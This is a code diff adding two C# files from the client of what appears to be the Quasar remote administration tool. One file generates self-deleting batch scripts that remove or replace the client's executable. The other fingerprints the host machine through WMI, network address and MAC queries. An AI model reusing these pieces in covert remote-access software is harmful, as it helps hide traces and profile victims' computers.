initial commit
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i2p
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using Quasar.Common.Helpers;
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using System.IO;
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using System.Text;
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namespace Quasar.Client.IO
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{
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/// <summary>
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/// Provides methods to create batch files for application update, uninstall and restart operations.
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/// </summary>
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public static class BatchFile
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{
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/// <summary>
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/// Creates the uninstall batch file.
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/// </summary>
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/// <param name="currentFilePath">The current file path of the client.</param>
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/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
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public static string CreateUninstallBatch(string currentFilePath)
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{
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string batchFile = FileHelper.GetTempFilePath(".bat");
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string uninstallBatch =
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"@echo off" + "\r\n" +
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"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
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"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
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"ping -n 10 localhost > nul" + "\r\n" +
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"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
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"del /a /q /f " + "\"" + batchFile + "\"";
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File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
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return batchFile;
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}
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/// <summary>
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/// Creates the update batch file.
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/// </summary>
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/// <param name="currentFilePath">The current file path of the client.</param>
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/// <param name="newFilePath">The new file path of the client.</param>
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/// <returns>The file path to the batch file which can then get executed. Returns an empty string on failure.</returns>
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public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
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{
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string batchFile = FileHelper.GetTempFilePath(".bat");
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string updateBatch =
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"@echo off" + "\r\n" +
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"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
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"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
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"ping -n 10 localhost > nul" + "\r\n" +
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"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
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"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
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"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
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"del /a /q /f " + "\"" + batchFile + "\"";
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File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
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return batchFile;
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}
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/// <summary>
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/// Creates the restart batch file.
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/// </summary>
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/// <param name="currentFilePath">The current file path of the client.</param>
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/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
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public static string CreateRestartBatch(string currentFilePath)
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{
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string batchFile = FileHelper.GetTempFilePath(".bat");
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string restartBatch =
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"@echo off" + "\r\n" +
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"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
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"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
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"ping -n 10 localhost > nul" + "\r\n" +
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"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
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"del /a /q /f " + "\"" + batchFile + "\"";
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File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
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return batchFile;
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}
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}
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}
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@@ -0,0 +1,264 @@
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using Quasar.Common.Cryptography;
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using Quasar.Common.Helpers;
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using System;
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using System.Linq;
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using System.Management;
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using System.Net.NetworkInformation;
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using System.Net.Sockets;
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namespace Quasar.Client.IO
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{
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/// <summary>
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/// Provides access to retrieve information about the used hardware devices.
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/// </summary>
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/// <remarks>Caches the retrieved information to reduce the slowdown of the slow WMI queries.</remarks>
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public static class HardwareDevices
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{
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/// <summary>
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/// Gets a unique hardware id as a combination of various hardware components.
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/// </summary>
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public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer));
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/// <summary>
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/// Used to cache the hardware id.
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/// </summary>
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private static string _hardwareId;
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/// <summary>
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/// Gets the name of the system CPU.
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/// </summary>
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public static string CpuName => _cpuName ?? (_cpuName = GetCpuName());
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/// <summary>
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/// Used to cache the CPU name.
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/// </summary>
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private static string _cpuName;
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/// <summary>
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/// Gets the name of the GPU.
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/// </summary>
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public static string GpuName => _gpuName ?? (_gpuName = GetGpuName());
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/// <summary>
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/// Used to cache the GPU name.
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/// </summary>
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private static string _gpuName;
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/// <summary>
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/// Gets the name of the BIOS manufacturer.
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/// </summary>
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public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer());
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/// <summary>
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/// Used to cache the BIOS manufacturer.
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/// </summary>
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private static string _biosManufacturer;
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/// <summary>
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/// Gets the name of the mainboard.
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/// </summary>
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public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName());
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/// <summary>
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/// Used to cache the mainboard name.
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/// </summary>
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private static string _mainboardName;
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/// <summary>
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/// Gets the total physical memory of the system in megabytes (MB).
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/// </summary>
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public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb());
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/// <summary>
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/// Used to cache the total physical memory.
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/// </summary>
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private static int? _totalPhysicalMemory;
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/// <summary>
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/// Gets the LAN IP address of the network interface.
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/// </summary>
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public static string LanIpAddress => GetLanIpAddress();
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/// <summary>
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/// Gets the MAC address of the network interface.
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/// </summary>
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public static string MacAddress => GetMacAddress();
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private static string GetBiosManufacturer()
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{
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try
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{
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string biosIdentifier = string.Empty;
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string query = "SELECT * FROM Win32_BIOS";
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using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
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{
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foreach (ManagementObject mObject in searcher.Get())
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{
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biosIdentifier = mObject["Manufacturer"].ToString();
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break;
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}
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}
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return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A";
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}
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catch
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{
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}
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return "Unknown";
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}
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private static string GetMainboardName()
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{
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try
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{
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string mainboardIdentifier = string.Empty;
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string query = "SELECT * FROM Win32_BaseBoard";
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using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
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{
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foreach (ManagementObject mObject in searcher.Get())
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{
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mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString();
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break;
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}
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}
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return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A";
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}
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catch
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{
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}
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return "Unknown";
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}
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private static string GetCpuName()
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{
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try
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{
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string cpuName = string.Empty;
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string query = "SELECT * FROM Win32_Processor";
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using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
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{
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foreach (ManagementObject mObject in searcher.Get())
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{
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cpuName += mObject["Name"].ToString() + "; ";
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}
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}
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cpuName = StringHelper.RemoveLastChars(cpuName);
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return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A";
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}
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catch
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{
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}
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return "Unknown";
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}
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private static int GetTotalPhysicalMemoryInMb()
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{
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try
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{
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int installedRAM = 0;
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string query = "Select * From Win32_ComputerSystem";
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using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
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{
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foreach (ManagementObject mObject in searcher.Get())
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{
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double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
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installedRAM = (int)(bytes / 1048576); // bytes to MB
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break;
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}
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}
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return installedRAM;
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}
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catch
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{
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return -1;
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}
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}
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private static string GetGpuName()
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{
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try
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{
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string gpuName = string.Empty;
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string query = "SELECT * FROM Win32_DisplayConfiguration";
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using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
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{
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foreach (ManagementObject mObject in searcher.Get())
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{
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gpuName += mObject["Description"].ToString() + "; ";
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}
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}
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gpuName = StringHelper.RemoveLastChars(gpuName);
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return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
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}
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catch
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{
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return "Unknown";
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}
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}
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private static string GetLanIpAddress()
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{
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// TODO: support multiple network interfaces
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foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
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{
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GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
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if (gatewayAddress != null) //exclude virtual physical nic with no default gateway
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{
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if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
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ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
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ni.OperationalStatus == OperationalStatus.Up)
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{
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foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
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{
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if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
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ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
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continue;
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return ip.Address.ToString();
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}
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}
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}
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}
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return "-";
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}
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private static string GetMacAddress()
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{
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foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
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{
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if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
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ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
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ni.OperationalStatus == OperationalStatus.Up)
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{
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bool foundCorrect = false;
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foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
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{
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if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
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ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
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continue;
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foundCorrect = (ip.Address.ToString() == GetLanIpAddress());
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}
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if (foundCorrect)
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return StringHelper.GetFormattedMacAddress(ni.GetPhysicalAddress().ToString());
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}
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}
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return "-";
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}
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}
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}
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